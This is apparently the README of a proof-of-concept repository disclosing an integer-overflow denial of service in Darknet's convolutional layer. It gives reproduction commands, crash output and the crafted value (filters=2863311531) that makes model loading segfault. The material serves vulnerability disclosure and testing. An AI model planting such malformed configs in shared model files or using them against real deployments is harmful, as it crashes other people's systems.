loowr/darknet-poc

Darknet Config Integer Overflow DoS

Integer overflow in src/convolutional_layer.c:195. A filters value in .cfg that overflows int32 causes undersized buffer allocation, NULL pointer dereference, crash.

Triggered on model load. No opt-in required.

Reproduce

git clone https://github.com/pjreddie/darknet
cd darknet && make
./darknet partial malicious.cfg malicious.weights output 1

Expected

conv  -1431655765  1 x 1 / 1    32 x  32 x   3   ->    32 x  32 x-1431655765
Loading weights from malicious.weights...Done!
Saving weights to output
Segmentation fault (core dumped)

Files

• malicious.cfg -- filters=2863311531, overflows int32
• malicious.weights -- 16-byte header, enough to reach the crash